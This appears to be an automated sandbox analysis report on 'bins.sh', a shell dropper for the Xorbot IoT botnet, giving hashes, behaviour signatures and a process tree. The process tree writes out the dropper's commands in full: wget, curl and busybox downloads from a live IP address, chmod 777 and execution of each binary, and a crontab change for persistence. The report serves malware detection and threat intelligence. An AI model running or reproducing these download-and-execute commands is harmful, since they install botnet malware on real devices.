Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/04/2025, 08:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    14fe92196204effcebf383b6c229fa20

  • SHA1

    70168b56582087d38df9d37991019b7cdb645179

  • SHA256

    7e955a8cb51233b3f9cce4d2938ff3dd829dcf4b80e9a215135e6df439355cbd

  • SHA512

    dc07bfb36fb437e9259bc2f17a0a01c14ff3ec7958b0e97d77cd1e3699a58cecab8f5c5f60ac5aa12b336cfe14c99f85da351c4475fe313cd0dfb542b3dcf094

  • SSDEEP

    192:ESWimvf23B3N3x3+3e3s0QkJpgU5y5q5uFpYTTLva22z5NRFQ3YsuLhL1Lzm+jTC:ESWimvf23B3N3x3+3e3s0QkJpgUoMJTZ

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1010) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:645
      • /usr/bin/wget
        wget http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:648
      • /usr/bin/curl
        curl -O http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:663
      • /bin/busybox
        /bin/busybox wget http://87.121.84.214/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:671
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:680
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:681
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:690
          • /bin/busybox
            /bin/busybox wget http://87.121.84.214/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:696
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:699
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:700
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:702
              • /usr/bin/wget
                wget http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:704
              • /usr/bin/curl
                curl -O http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:709
              • /bin/busybox
                /bin/busybox wget http://87.121.84.214/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:715
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:718
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:719
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:721
                  • /usr/bin/wget
                    wget http://87.121.84.214/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:723
                  • /usr/bin/curl
                    curl -O http://87.121.84.214/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:730
                  • /bin/busybox
                    /bin/busybox wget http://87.121.84.214/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:736
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:740
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:741
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:743
                      • /usr/bin/wget
                        wget http://87.121.84.214/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:745
                      • /usr/bin/curl
                        curl -O http://87.121.84.214/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Checks CPU configuration
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:747
                      • /bin/busybox
                        /bin/busybox wget http://87.121.84.214/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:748
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:749
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:750
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:752
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:753
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:754
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:755
                            • /bin/rm
                              rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                              2⤵
                              • System Network Configuration Discovery
                              PID:767
                            • /usr/bin/wget
                              wget http://87.121.84.214/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                              • Writes file to tmp directory
                              PID:771
                            • /usr/bin/curl
                              curl -O http://87.121.84.214/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                              • Checks CPU configuration
                              PID:775
                            • /bin/busybox
                              /bin/busybox wget http://87.121.84.214/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                              • Writes file to tmp directory
                              PID:858
                            • /bin/chmod
                              chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                              • File and Directory Permissions Modification
                              PID:873
                            • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                                PID:874
                              • /bin/rm
                                rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                2⤵
                                  PID:876
                                • /usr/bin/wget
                                  wget http://87.121.84.214/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:877

                              Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

                                Filesize

                                38KB

                                MD5

                                e9863c75463eb2c3be0fdc49853829fe

                                SHA1

                                cd283379503e2eb0a44abaaae46611c0303fe588

                                SHA256

                                7a949513acd346c80b9b58ffa085eaab2d5bcdd84bfa1a005fac05c45ccfc4de

                                SHA512

                                2cd3f2dbb8286e7fa39c6c1cecd75afe41b3f08a3a395f0bf7da660b8a7b354ddcb5887867ae73cfdb164567c2ecb528a835bcc9f8adb5a81d02155312653f0a

                              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /var/spool/cron/crontabs/tmp.xUd5ME

                                Filesize

                                210B

                                MD5

                                7eeab6fa27d0c3106be1a8a81b0dfee1

                                SHA1

                                c7d755dfc14e3f7a17eeb79b77682365621fff0d

                                SHA256

                                3e7951023e618e107ec06b76c56a691b7029bfd86c3ea32fc8abb07a92bac469

                                SHA512

                                d8d686d67ea7314f81a663818182cc0ac53f16769b74cd5ecb0d74a03819800bbe92fc88550b26a6e8fcf5eb29f84b04cabb9b06f82253d41dcb6178368859d2